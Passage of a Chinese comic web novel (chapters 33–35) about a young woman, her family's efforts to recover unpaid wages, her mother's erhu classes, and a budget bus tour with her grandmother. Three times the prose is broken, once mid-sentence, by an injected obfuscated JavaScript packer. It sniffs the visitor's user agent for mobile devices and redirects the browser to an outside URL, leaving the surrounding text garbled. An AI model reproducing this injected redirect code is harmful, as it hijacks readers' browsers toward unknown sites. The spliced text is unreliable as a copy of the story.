常乐火速收款,并打出一行字:【欠我薪资者,虽远必诛!!!】 然后将对方拉黑。 果然,在这个遍地是骗子的世界,发疯比发嗲管用,报复比报警有效。 抛下个人素质,才能享受爽文人生。 常乐连做几个深呼吸,平复激动的心绪,然后回到客厅,将300块钱转给姥爷。 “搞定了?”姥爷举着手机,面露喜色。 常乐云淡风轻地点点头。 姥爷说:“你也出了不少力,咱俩一人一半。”说完又给她转了150。 常乐没跟他客气,欣然接受。她的气还没完全消呢,这个钱就当是她的精神损失费了。 姥姥从厨房出来,端出一盘切好的哈密瓜,感叹道:“当网红还真不错,一天就赚了300。” 她搡搡姥爷,建议道:“你以后要多接广告,争取一天一条。等名气大了,咱就涨价,500一条。” 姥爷乐呵呵道:“我尽量,哈哈哈。” 常乐咬了一口瓜,没接话。 姥姥说这话,就像在说“清华是所好学校,建议你报考”一样,天真到她都不知道该怎么反驳。 -- 看完天气预报,姥爷关了电视,准备出门溜达溜达。 恰在此时,常乐收到一条微信。珍姐给她发来了自己的工牌照片。 常乐放大一看,惊喜不已,立马给她拨了个语音通话。 “珍姐,你当上中介啦?” “对啊,刚刚才下班。”珍姐的声音有些疲惫,但听得出来,她心情不错,“还是上次面试的那家店,小叶帮了不少忙呢。” 常乐好奇地问:“当中介忙不忙啊?” “今天还好,入职第一天,做了个简单的培训,然后就是打电话,拉客户,还跟着小叶去带看了两套房。” 在珍姐说话的间隙,手机里传来一道女声:“大门已开,欢迎回家。” 常乐惊奇道:“这么快就到家了?你在附近租了房子吗?” “不是。”过了会儿,珍姐才重新开口,声音压得很低,“我们店离那个别墅小区不是很近嘛,我打算以后每天上班前、下班后都来看看。还有啊,我跟你说一件事——” 珍姐的话音又停住了。 常乐猜测她是走到更隐蔽的地方了,果然,过了会儿,才听到她小声说:“他们家斜对面不是有栋别墅空着嘛,听说房主犯事了,房子一时半会儿也不会卖。我在二楼架了部旧手机,对着他们家直播。我上班的时候时不时地看一眼,等他们回来了,就能第一时间知道。” “不是,你这……”这段话信息量太大了,常乐的大脑乱成一团毛线,好半天才捋出重点:“……这不违法吧?” 珍姐反问:“我违什么法了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709373|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?现在直播什么的都有,直播钓鱼、直播摆地摊、直播工厂流水线,没听说过谁因此被判刑了。” 常乐还是不放心,“你要是想蹲点,可以装个监控啊,直播也太那啥了……” 珍姐嗤笑一声:“你这种行为才容易违法吧?” 常乐愣住了。 也是,直播好歹是大大方方地向公众展示,监控是给自己看的,要是被人发现,给她十张嘴都解释不清。 珍姐边走边说:“再说了,装监控也得花钱吧,还要接电源,太麻烦了。我每天早上过去,把手机架好,晚上再带回家充电。为了防止中途没电,还接了个充电宝。今天是第一天,直播效果还不错,有几十个人观看呢。” “你这……”常乐一时不知该如何评价,想了半天,只好说:“你是在用自己账号直播吗?我去瞅一眼。” 珍姐走得气喘吁吁:“不是,我用的是小号,待会儿发给你。你平时要是有空,也帮我盯一眼。” “行。”常乐答应完,又觉得有些愧疚,“怎么能叫帮你呢?咱们是一起的啊。你在前面冲锋陷阵,我给你打辅助。反正我家离江城近,你有什么需要,我随叫随到。” 珍姐笑着说:“还是你靠谱。行,发给你了。” 挂断语音后,常乐赶紧点开珍姐发的直播间。 画面昏黄,借着窗外路灯的光,能隐约看到一栋房子的轮廓,黑漆漆的,没有一丝亮光。 画面正上方还配了一行大字:“蹲点讨薪第一天,老鳖孙不在家。” 左下角的互动区,有不明真相的网友发了一连串问号,还有几条,明显是知情人士的正义发言: “欠钱不还,全家死完!” “支持博主合法讨薪!” “老赖滚出来!别当缩头乌龟!” 常乐给直播间送了一束玫瑰,并怒发几条评论: “王八蛋老孙,你不是人!” “我们辛辛苦苦给你干了大半年!” “你不发工资,你还我血汗钱!” “还我血汗钱!” 十分钟后,直播间关闭了。 珍姐给常乐发了条语音:“直播间的人还挺多,是不是大家都喜欢看这种?还有人给我打赏呢。” 常乐叮嘱道:“珍姐,你做直播千万要注意,不要侵犯到别人的隐.私,要是有人出现,你最好给他打个码。” 珍姐回复道:“我知道的。我在直播间加了特效,有人经过,脑袋就会变成猪头。” 常乐忍俊不禁,一颗悬着的心终于落回肚子里。 她给珍姐发了一串大拇指。 -- 夜深了,常乐躺在床上,翻看珍姐的小号,里面干干净净,没有透露任何个人信息。 她放下心来,又去看姥爷最新的视频,底下已经有了几十条评论,大家一致认为,第二个粉红少女心的骨灰盒最适合姥爷。 甚至还有不少网友表示很感兴趣,想购买同款。 常乐点开购物链接一看,视频发布才几个小时,显示已经售出了10件商品。 常乐的心中充满了成就感。 虽然看到奸商赚钱,她略感不爽,但是这说明了这条视频的推广是有效果的,没准儿姥爷会被更多商家关注到,接到更多的广告。 常乐喜滋滋地关了灯,盖好被子,准备睡觉。 意识逐渐模糊之际,她陡然打了个激灵,倏地睁开眼。 不对!那10个已售,全是她一个人买的!她忘了退货! 常乐顿时吓出一身冷汗。 她腾地坐起身,摸到手机,打开抖音里的订单。 还好还好,商家还没发货。 她赶紧点了退货,长吁一口气,庆幸自己又躲过一劫。 十件骨灰盒,又大又沉,她辛辛苦苦赚的150,还不知道够不够付运费的。 33. 33 已是正月下旬,小城的年味散得差不多了,周围人都忙碌起来,该上班的上班,该上学的上学。 林文娟也收到了几所老年大学的开学通知。 于是,在这个阳光明媚的周五,常乐开车带着林文娟,到老年大学报名和选课。 东山区老年大学开设的课程最全,报名的人也最多。好在她们到得早,顺利地选到了二胡、书法、民族舞的进阶班,剩下一门课,林文娟在《摄影入门》和《如何制作短视频》之间犹豫不决。 “妈,你知道摄影有多烧钱吗?”常乐小声提醒她,“摄影穷三代,单反毁一生啊。” 林文娟不乐意了:“我有存款,有退休金,花点自己的钱怎么了?女人就是要对自己好一点。” 常乐“啧”了一声:“又被消费主义洗脑了吧?你用手机拍拍照就行了呗,出门还得扛个相机,多累啊。” 林文娟:“那相机拍出来的效果,跟手机能一样吗?” 常乐点点头,附和道:“确实不一样,虽然手机自带美颜滤镜,但相机拍出来的更真实,什么毛孔啊、皱纹啊、褐斑啊,全给你拍得一清二楚。” 林文娟:“……” 常乐一手拿笔,一手托着报名表,问:“想好了吗?报哪个?” 林文娟:“短视频吧……还是这个比较实用。” 交完钱后,两人拿着一沓宣传册走出办公室,外面已排起了长队。林文娟一路上碰到几个老同学,不时停下来跟他们寒暄。 走廊里挂着一排宣传板,用来展示师资风采。常乐等得无聊,就挨个研究了起来。 咦,这个白发银须的老头居然是教短视频制作的; 哇,那个年轻女老师是教英语口语的,还是个博士呢; 哟,这个男的不错…… 常乐脚步一顿。 哟,钟大师,久违了。 上次他说他叫什么来着? 林文娟跟同学聊完,转头四处找常乐,发现她正杵在钟煜的宣传板前,看得极其认真。 她“哟”了一声,“看帅哥看傻了?” 常乐指着钟煜的脸,问林文娟:“他怎么还在这儿?” 林文娟觉得莫名其妙:“不在这儿要在哪儿?这所学校就他一个二胡老师。” “你不是说,学校拖欠他工资吗?” “嗐,那不是我瞎猜的嘛,也许他是经济上遇到什么困难,才想着卖艺赚钱的。” 常乐抚着下巴,若有所思。 “哎,我有个提议。”林文娟挽着她的胳膊,往楼梯口走去,“你要不跟他认识认识?吃个饭,逛个街,加个微信什么的。” 常乐眉头一挑,有种不祥的预感。 “相亲啊?” 又相亲?这个钟大师是不是有KPI要完成啊?还是绑定了什么“不相亲就会被电”的变态系统? 林文娟怕她有抵触心理,绕着弯子说:“也不算正式相亲啦,你不要有心理压力,可以先从朋友做起嘛。” 常乐板起脸,佯装生气道:“妈,你不是向我保证过不催婚催生嘛?怎么,看我在家里待久了,嫌我烦了,想赶紧把我打发走?” “看你说的什么话?”林文娟急忙解释,“我是觉得,钟老师还不错,一表人才,温文尔雅,属于优质男青年。不光我这么觉得,班上好多同学都想把自己的女儿、侄女、外甥女介绍给他呢。” “那他找个对象很容易啊,怎么还单身到现在?” “可能是眼光太高了吧。” 常乐哼笑一声:“所以喽,他凭什么看上我啊?” “你又不差,怎么就看不上你?”林文娟又急又气,双手捧着她的脸,用力搓揉着,“你看看你这脸蛋、这眼睛、这嘴巴,全都遗传了我的精髓,就是鼻子有点塌,随了你爸,可惜了……” 常乐两颊的肉被她挤到中间,撅着小鸡嘴说:“你这是亲妈滤镜。” 林文娟松开手,语气笃定,还带着几分骄傲:“总之,你一点都不差,配他是绰绰有余。上次家长会你不是上台发言了嘛,我好几个同学都跟我夸你呢,说你那个,呃……才貌俱佳,秀外慧中,大家闺秀,呃……” “行了行了。”常乐怕再不打断她,她连“倾国倾城”、“国色天香”这种词都能大言不惭地说出来。 不过,她心里还是挺得意的。 那次家长会之前,她为了能艳压全场,在镜子前捯饬了两个小时,双眼皮贴、美瞳、假睫毛、卷发棒,这些平时嫌麻烦的装备全都用上了。 结果到了现场,发现能艳压的只有的老头老太太,大家的朴实无华,倒显得她用力过猛了。 两人走出办公楼,回到车上。 “下一个是不是该去北湖区老年大学了?”要回到她的初舞台了,常乐心情有些激动。 “呃……”林文娟迟疑了下,视线躲闪,“去南港区吧,北湖区今年就不报了。” “啊?”常乐大失所望,“为什么啊?” “北湖区那边的学校,呃……在搞装修,还没完工。” 林文娟不敢回忆那天家长会上尴尬的局面,更不敢回到那个尴尬的地方。 常乐不明所以,只得接受:“……好吧。” 在两所学校报了八门课,花了1600,林文娟仍觉得意犹未尽。 “一个星期才上八节课,是不是少了点?”她自言自语。 常乐正在开车,闻言劝道:“妈,师父领进门,修行看个人。上多少课不重要,重要的是自己的领悟和练习。” “有道理。”林文娟若有所思。 小车缓缓驶过老街,路过城隍庙时,林文娟忽然开口:“下一个路口往右拐。” “啊?”常乐不解地问,“不回家吗?” 林文娟给她指路,“实小门口那条街有好几家民乐培训班,我想去看看。” 常乐大惊失色:“你不会要报班吧?” 私人培训班的收费可比老年大学贵多了。 林文娟说:“我去打听打听情况。要是价格合适,课外开个小灶也行。” 常乐震惊到失语。 学个二胡而已,有必要这么卷吗?该不会是想偷偷努力,然后惊艳所有人吧? 尽管心中有一万个不理解,常乐还是乖乖听话,驱车驶入实小路,在路边找了个空车位。 两人下了车。路旁开着各式各样的小店,文具店和书店镇守在校门两侧,炸鸡铺紧挨着奶茶店,二次元谷子店里陈列着琳琅满目的周边产品,路的尽头有几家琴行,二楼悬挂着“乐器培训”的招牌。 “那家看着挺正规。”林文娟指着一家古色古香的门店说。 招牌上写着“丝竹民乐艺术班”,下方有一行小字:“二胡、古筝、琵琶、竹笛。” 门口还摆放着几张易拉宝。常乐走近一看,上面写着“二胡入门,5人小班,980元10节课”之类的广告语。 常乐心里踏实了几分。 能把价格大大方方展示出来,说明店家有实力,有底气,不怕货比货。 她挽着林文娟走了进去。 一楼面积不大,只有前台和一排等候椅,教室应该在二楼。 一个年轻女孩礼貌地接待了她们:“您好,请问是来咨询课程的吗?” “你好。”林文娟点点头,“我想请问一下,我有二胡基础,想报个提高班。你们怎么收费呢?” 前台女孩递来一张宣传单,说:“我们的二胡提高班是5人小班,1280元,10节课。上课时间是……” 店内靠墙摆放着几张易拉宝。常乐扫了一眼,意外地捕捉到了一张熟悉的脸。 好家伙,怎么哪儿都有他? 这座城市该不会只有他一个人会拉二胡吧? 恰在此时,前台女孩也介绍道:“授课老师非常优秀,得过几项全国大奖。这边有他的简介,您可以看看。” 顺着她手指的方向,林文娟转过头,视线与常乐对上。 常乐似笑非笑:“这不巧了嘛,你想上补习班,你的老师正好在开补习班。” 林文娟“嘶”了一声。 “钟老师……”她怀疑自己眼花了,转过头询问前台女孩,“他也在这儿上课?” 女孩点点头,“对啊,这家店就是他跟朋友合开的。” “他在店里?” “正在楼上上课。”女孩看了眼墙上的挂钟,“还有五分钟下课,您要不坐这里等一下他?” 林文娟如梦初醒般连连摇头,“不用不用……我再看看吧。打扰了!” 她边说边推着常乐往外走,还小声催促:“快走!别让他看到了!” 难得看到她这么惊慌失措,常乐觉得挺好笑:“你怕什么?看到了就打个招呼呗。” 林文娟将她拽出大门,才说:“你懂什么?老师看到学生在校外补课,会觉得自己教得不好。” 常乐哈哈大笑起来。 “你想多了,他自己都在开课外班。哎,等会儿——” 她又瞥了一眼那张易拉宝,忽然觉得有几分眼熟:上面是钟煜的照片和简介,底下是一张硕大的二维码。 “怎么了?”林文娟不明所以,顺着她的视线望去。 “上次看他在庙门口要饭,旁边就摆着这张易拉宝,下面有个二维码,我还以为是他的收款码呢。”常乐思索片刻,“你等会儿——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721129|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她又回到店里,掏出手机扫码。微信上弹出“丝竹民乐”的微信号。 原来是误会一场。 真是的,给培训班做宣传,也不选个好地方,在城隍庙门口跟一堆算命老大爷抢生意,还拉着这么凄凉的曲子,狗从他跟前路过都得扔两块硬币。 常乐正要跟林文娟解释,余光忽然瞥见楼梯拐角处出现了一双长腿,穿着灰色西装裤。 再然后,就听到前台小妹清脆的声音:“钟老师,你下课了?这儿有两位——” 后面的还没听完,常乐已经被林文娟拖拽着跑出了半条街。 直到两人跑到车边,林文娟才撒开手,急促地喘着气,问常乐:“他是不是看到我了?完了完了,他肯定看到了……” 常乐倒在车门上,笑得上气不接下气。 -- 晚餐桌上,常乐跟大家绘声绘色地描述林文娟今天的精彩表现,一家人都笑得前合后仰。 “你怕什么啊?”常建民给她夹了个烤鸡翅,笑着说,“人家开培训班是主业,在老年大学上课才是副业。你去报班,还能给他增加收入,他高兴还来不及呢。” 林文娟不服气,对姥姥姥爷说:“爸,妈,你们都是老师,要是看到学生在外面报补习班,你们会不会觉得是自己没教好?” 姥姥晃晃筷子,“学生底子差,该报就得报。学生成绩好,能更上一层楼。这跟我的教学质量有什么关系?” 姥爷也说:“对,反正肯定不是我的问题。” 常乐忍不住为两位不内耗的老人鼓掌。 林文娟回想今天的表现,确实有点丢人。她嗦着筷子,有些苦恼。 “那可咋办?要不明天我去报个班,再跟他解释一下?” “哎唷,我的妈呀,”常乐哭笑不得,“你在老年大学学的内容,跟报班学的没有区别,就别花这个冤枉钱了。” “那不一样,老年大学一个班三十多人,这个小班才五个人,更有针对性。” 常乐懒得反驳她,低着头,专心致志地啃着鸡翅。 林文娟思索片刻,对常乐说:“你明天陪我一起去。” 常乐抬起头,“啊?” 林文娟:“我怕尴尬嘛。你跟钟老师都是年轻人,有共同话题。你跟他多聊聊天,缓解一下气氛。” “不行啊。”常建民横插一脚,“她明天得陪我去竹沟村。” 常乐转过头,“啊?” 什么猪狗村,她闻所未闻。老板们在使唤她之前,就不能跟她核对一下行程吗? “明天方师傅要去那边办事。”常建民冲她挤挤眼睛,“你懂的。” “又要去捅马蜂窝?”常乐面露愁容。 虽然这事挺有意思,但体验一次就够了,毕竟山路不好走,扛着一大袋装备钻树林实在是累。 “那个什么村,远吗?” “不远,开车三个小时就到了。” “啊?”常乐更发愁了。 这意味着她明天又得天不亮就起床。 姥姥看出她不乐意,主动替她解围:“既然不想去,那明天你跟我去旅游。” 一桌人都震惊了,齐声问:“旅游?” 姥姥淡定地说:“小区门口不是新开了家旅行社嘛,那个小周,哦,就是他们店长跟我说,有个团明天发车,去福建玩五天,就剩两个名额了。报名的话可以减一百块钱,还送一个烤箱。” “你报了?”常乐瞪大眼。 姥姥伸出筷子,敲了敲她的碗,“不然你碗里的鸡翅是怎么做的?” 常乐反应过来,起身冲进厨房,果然,橱柜上摆着一台崭新的烤箱。 “我的姥啊,就为了这个,你就……”常乐叹了一口气,“贪小便宜吃大亏啊。” 姥姥笃定地说:“不会的,我保证这次不乱花一分钱。” 常乐无言以对。 “去不去?”姥姥问她,“你不去,我就跟你姥爷去。” 常乐回到座位,一边嗦着鸡翅,一边思考该选哪个老板布置的任务。 陪妈妈去报班,噫,尴尬。 陪爸爸去山里,唉,辛苦。 陪姥姥去旅游,如果不购物,肯定会被导游PUA,一路上既尴尬,又辛苦。 不过…… 她打量着姥爷,越看越觉得他不靠谱。 她好歹是个年轻人,见多识广、身经百骗、且意志坚定,而姥爷,一看就没遭受过社会的毒打,别人一忽悠,他就屁颠屁颠地掏钱了。 本就不丰厚的家底又要雪上加霜。 “算了,放过姥爷吧。”常乐吐出鸡骨头,抬头看着姥姥,一脸视死如归的悲壮,“我去。” 34. 34 清晨五点半,夜色还未消退,街头人影零星,路灯投下一束出清冷的光。 常乐和姥姥裹紧大衣,站在寒风中,等待着一辆不知会从哪个方向驶来的大巴车。 昨天晚上,她们已经收拾好了行李。姥姥信誓旦旦地保证,闽南的冬天一点都不冷,所以常乐只穿着一件连帽衫和牛仔裤,带上两件薄外套。为了在海边美美拍照,还往箱子里塞了一条白色长裙和网红披肩。 常乐蹲在路灯下,直打哈欠,眼泪汪汪。 半个小时前,姥姥将她晃醒,说是要再检查一遍行李,有备无患。 行李倒是带齐了,结果两人一出门就被冻傻了,又赶紧回家,各自裹上一件大衣。 一路紧赶慢赶,终于在约定的时间赶到小区门口,结果一个人都没有。 常乐满腹狐疑:“姥,真的是五点半集合吗?我怎么感觉怪怪的。” “哎,说是五点四十,我怕你磨蹭,就提前了十分钟。”姥姥说得毫无愧色,转头四处张望,“奇怪,其他人呢?” 常乐有种不祥的预感:“该不会整个小区就我们两个被骗吧?” “什么叫被骗?”姥姥拧她一把,“人家是正规旅行社。” 正说着,不远处又走来几个人影,身后都拖着行李箱。跟她们一样,迷茫地四处张望。 “这不就来了吗?”姥姥冲人影招招手,“老孙,吴翠,在这边等车!” 孙婆婆和翠姨手挽着手走了过来,跟她们打招呼,后面几个人影也跟了过来。 “哎唷,好冷啊。”翠姨裹紧身上的灰色貂皮大衣,四下张望,“车还没来吗?要等多久啊?” 姥姥安慰道:“快了快了。” 街对面有家早餐店开门了。明亮的灯光下,蒸屉冒着袅袅的热气,新鲜出炉的肉包子无比诱人。 翠姨问她们:“你们吃了吗?我去买点儿早餐吧。” 姥姥拉住她,“哎,别花这个冤枉钱,旅行社包早餐的。等车来了就给我们发。” “姥,”常乐盯着那一笼热气腾腾的包子,咽了咽口水,“我想吃……” “忍一会儿就有吃的了。”姥姥拽住她的胳膊,凑到她耳边,小声提醒,“别忘了咱家的家训:出门在外,一分钱别花,什么都别买!” 家训?常乐一脸呆滞。 咱家还有这种惨无人道的规定?该不会是你现编的吧? “姥,买几个包子花不了多少钱。”她可怜巴巴地说。 “反正咱们一人三百的预算。”姥姥拽着她的手死活不撒开,吓唬道,“超了,咱们都要被逐出家门。” “还家门……”常乐无语了,“咱家有什么门啊?抠门啊?” 又在寒风中等了半天,大巴车终于姗姗来迟。 车门开了,一个导游模样的中年女人从车上下来,搬下来一筐食物。 “来来来,一人一袋。” 常乐和姥姥各领到一个小纸袋,打开一看,两个法式小面包,一个水煮蛋,还有一盒纯牛奶。 冷面包,冷牛奶,连水煮蛋都是冷的。 常乐在寒风中冻了十几分钟,整个人透心凉,看到这些食物,顿时胃口全无。 她瘪瘪嘴,跟姥姥说:“我想吃口热乎的。” 姥姥从包里掏出保温杯,递给她,“喝吧。早上刚泡的茶,还烫得很。” 常乐:“……” 咱们是去旅游的,还是去逃荒的?有必要整得这么凄惨吗? 她还不如跟着常建民去山里捕猎呢,至少还能混口热乎的汤面吃。 -- 大巴车上已经坐了不少乘客,教师小区的几个人上了车,各自找到位置坐下。 常乐上车时观察了一圈,乘客大部分是中老年人,年轻人寥寥无几,而且都是一脸疲容,眼神无光,估计跟常乐一样,都是陪家里老人报名的。 她隐约闻到一股怪味,也许是有人在车上吃早餐。她没多想,跟姥姥在车厢中部找了两个空座位坐下,从兜里掏出小面包,三两口吃完。 大巴车向城外驶去,一路上走走停停,陆续有人上车。 直到六点半,大巴车终于满员,一路疾驰着驶上高速,窗外的天空也渐渐亮了。 这时,导游站在过道里,举着话筒开始发言:“大家早上好!非常高兴这次能带大家一起旅游。首先,我代表我们春阳旅行社,欢迎大家参加我们组织的厦漳泉五日游活动。我先给大家做个自我介绍,我姓周,大家可以叫我小周……” 接下来就是冗长的介绍词。 姥姥摘下了助听器,缩进椅子里。常乐也仰头靠着椅背,准备眯一会儿。 刚闭上眼,就听见麦克风里传来导游愤怒的声音:“在我讲解的时候,请不要睡觉,这样很不尊重人!” 常乐吓得赶紧睁开眼。 不就睡个觉嘛,有必要这么上纲上线么? 她小声嘀咕:“我睡觉的时候,你还大声讲话,你尊重过我吗?” 前排有个小哥戴着头戴式耳机,也被导游不点名批评了:“还有某些人,全程戴着耳机,一点都不尊重人!请摘下耳机,认真听我的讲解。” 反复说了几次,前排小哥才不情不愿地摘下耳机,低着头,在手机上飞快地打字。 估计是在跟朋友激情吐槽。 结果导游又不乐意了:“玩手机也是很不尊重人的表现,希望某些人能自觉点!” 常乐的手刚掏出手机,又怂怂地放了回去。 屁事真多啊。这是在做什么服从性测试吗? 再瞥了一眼身边的姥姥,她个子小,整个人缩进椅子里,被前排的椅背挡住,导游看不到。而且她没戴助听器,相当于给世界消音了。 难怪睡得那么香。 常乐此刻无比羡慕她。 她强忍着内心的烦躁,听导游巴拉巴拉说了十几分钟。终于,在一片稀稀拉拉的掌声中,导游放下话筒,给自己灌了半瓶水。 车厢内终于安静下来。 常乐松了口气,侧头靠着椅背,准备好好睡一觉。 可惜这份安静没持续多久,广播里突然传出响亮的音乐声。导游的声音再次响起:“为了让大家的旅途不无聊,我给大家献上一曲《萍聚》,会唱的朋友可以一起唱!” 常乐睁开死鱼眼。 就是纯纯折磨她是吧? “不管以后将,如何结束,至少我们曾经相聚过……” 渐渐地,独唱变成了合唱,大爷大妈的声音汇聚在一起,谱成一首欢快的交响乐。 气氛开始热烈起来,主动表演节目的人越来越多。前排有个红毛衣老奶奶唱了一首《女人花》,紧接着,几个系着五颜六色丝巾的大妈站起身,合唱了一首《粉红色的回忆》,然后是个戴帽子的老大爷,不知从哪儿变出来一只口琴,演奏了一曲《喀秋莎》…… 文艺表演一波接一波,整整两个小时,就没停歇过。 常乐瘫倒在座位上,双目呆滞,气息微弱。 尸体还热乎着,魂儿已经飘走了。 前排那一群活力四射的老年人终于消停了,导游沿着过道往后走,拿着话筒四处询问:“还有没有人想表演节目?既然相聚在一起,就是一家人,不要害羞嘛。” 她经过常乐身边时,常乐仿佛回光返照,一把抓住她,急声问:“什么时候到机场啊?” 导游一愣,反问:“什么机场?我们又不坐飞机,去机场干嘛?” 常乐糊涂了:“不坐飞机?” 去厦城,要穿过三个省,900多公里,不坐飞机? 她傻傻地问:“那坐什么?” “坐大巴啊。”导游笑了,“咱们不正坐在大巴上吗?还有十个小时就到了,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725421|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好能赶上晚饭。” “啊???”常乐瞠目结舌。 十个小时,加上刚刚那地狱般的两个小时,她总共要坐十二个小时的车,不能起身走动、不能随时上厕所,甚至不能想睡就睡! 她的屁股、后腰、大腿已经预感到危险,开始隐隐作痛了。 “看吧,我刚刚讲解的时候你不认真听,连我们坐什么交通工具都不知道。”导游站在她旁边不走了,把话筒递过来,“罚你给我们表演一个节目。” 常乐:…… 我只会表演当场去世。 她尴尬地笑笑,又是摆手又是摇头,浑身都在拒绝。 然而,导游并不想轻易放过她。她拍着巴掌起哄道:“来一个嘛,让我们听听现在的年轻人都喜欢唱什么歌。” 常乐低着头不敢看她,胳膊肘疯狂地杵着姥姥,试图将她捣醒,替自己解围。 僵持了好半天,后面一个大爷看不下去了,举手道:“小姑娘害羞,我先来一个吧。” 他接过话筒,声音洪亮地说:“我给大家演唱一首《敖包相会》。” 嘹亮的歌声响起,常乐短暂地松了一口气。 姥姥终于被捣醒了。她睡眼朦胧地看看窗外,又看看常乐,似乎忘了自己在哪儿。 等她恢复神智,戴上助听器,常乐急忙拉着她,质问道:“姥!咱们是坐大巴车去啊?我还以为是先坐车到机场,再飞过去呢!你怎么不早说?” 早说要坐十几个小时的硬座,打死她也不去啊。 姥姥斜了她一眼,眼神像在看智障,“一个人499,还想坐飞机?想屁吃!” 常乐:“……” 恰在此时,她的手机响了,是常建民打来的视频。 常乐如遇救星,急忙接通:“喂,爸!” 她一脸哀怨,头顶回荡着老大爷雄浑的嗓音:“我等待着,美丽的姑娘哟……” 常建民耳朵凑近屏幕,常乐都能看到他黑洞洞的耳道,“你这儿怎么这么吵?我问你啊……”他的脸又出现在屏幕里,“无人机的说明书你放哪儿了?” 大爷的歌声立体环绕在耳畔,常乐不得不提高音量:“在右边的床头柜里,里面的文件比较多,你仔细找找。” 过了会儿,“……找到了。” 常乐问:“你还没出发啊?” 她本以为他要像上次那样,天不亮就得出门呢。 常建民低头翻看说明书,说:“我跟方师傅约的是中午,还早着呢。” 常乐:“……” 早知道就该跟他爸去了,不仅能睡到自然醒,还能看看帅哥,一饱眼福。 “爸,”她突然冒出个大胆的想法,“既然你还没出发,就过来接我吧!” 常建民抬起头,一脸疑惑:“啊?” 常乐急切地说:“我说真的!我在下个服务区下车,等你过来!” 常建民哭笑不得:“旅行才刚开始呢,你就不想玩了?” 老大爷终于唱完最后一句,在袅袅的余音中,全车人都听到了常乐扯着嗓子大喊:“爸,我想回家!” 车厢里顿时安静下来。 气氛有一丝丝尴尬。 “算了。”常乐面无表情地对常建民说,“挂了。” 然后,她将手机塞回兜里,若无其事地拍了拍巴掌。 其他人很快反应过来,也跟着鼓掌。 “哈哈。”导游尬笑两声,试图缓解气氛,“看来我们的小妹妹想家了啊。” 周围人发出会心的笑声。 导游把话筒递到她跟前,“小妹妹,现在该你了,想好表演什么了吗?” 常乐深吸一口气,接过话筒,站起身。 “我跟大家玩个游戏吧。”她环视车厢一圈,脸上浮起邪恶的笑容。 “游戏的名字就叫,谁先说话谁是狗。” 35. 35 导游的笑容僵在脸上,嘴巴张了又合,喉咙仿佛被什么东西卡住,不敢泄露一丝声音。 车厢内一时鸦雀无声。有几个乘客挪了挪屁股,动作小心翼翼,生怕发出一点动静。 常乐得意洋洋地睨着导游,眼神仿佛在说: 来啊,小嘴不是挺能叭叭的嘛,来,给老娘汪一个。 不仅如此,她还缓缓环视四周,眼神带着威胁,看谁敢第一个开口。 左前方有个戴口罩的大叔,都不敢咳嗽了,憋着气,连背影都透着紧张。 常乐觉得自己有点过了。她正准备宣布游戏结束时,忽然,一股怪味飘到鼻子底下。 跟她刚上车时闻到的味道很像,但是更浓郁,也更刺鼻。 乍一闻,像是有人在吃水煮蛋,但仔细一闻…… “卧槽!”常乐猛然反应过来,彻底忘了自己设定的游戏规则,大喊一声:“好臭!” 车厢内爆发出一阵哄笑。 导游的脸色瞬间松弛下来,得意的笑容重新回到脸上。 “你输了哦,小妹妹。”她笑眯眯地说,“就罚你给我们汪一声吧。” “是真的!”常乐脸皱成一团,紧紧捂住口鼻,仍感觉那一股臭味在直蹿天灵盖。 她把导游拉到自己站的位置,用微弱的气息说:“不信,你自己闻!” 导游四处嗅了嗅,陡然变了脸色,“卧槽”一声,急忙用袖口捂住鼻子。 很快,周围的人也闻到了,一时间,车厢内哕声四起。 简直是一场灾难级核爆。 “谁啊?”后排一个大妈用丝巾掩住口鼻,嘟囔道,“谁这么没有公德心?” 刚刚表演完的大爷转过头,冲最后一排喊道:“赶紧开窗啊!” 大巴车是全封闭的,只有最后一排的小窗能打开。可是也无济于事,后排离臭味源有一段距离,而且灌进来的这点风,完全不够稀释毒气的。 “大叔。”常乐拍拍戴口罩的大叔的肩,“还有口罩吗?能不能借我一个?” 大叔回头瞥她一眼,犹豫了下,从背包里掏出一包已拆封的口罩。 “谢了!”常乐急忙抽出一只,给自己戴上,小口小口吸着气,这才缓了过来。 周围人也纷纷伸出手。不一会儿,一包口罩一抢而空。 “对不住啊。”常乐怕大叔不高兴,道歉道,“下车还你一包。” 大叔咳嗽两声,冲她摆摆手,“没事没事。” 常乐坐下,跟姥姥吐槽道:“到底是谁啊?封闭车厢还放屁,真没素质!” 姥姥气定神闲地说:“反正不是我。俗话说得好,人老屁.眼松,放屁响咚咚。刚刚没听到声音,肯定是一个年轻人放的。” 前后左右的年轻人:“???” 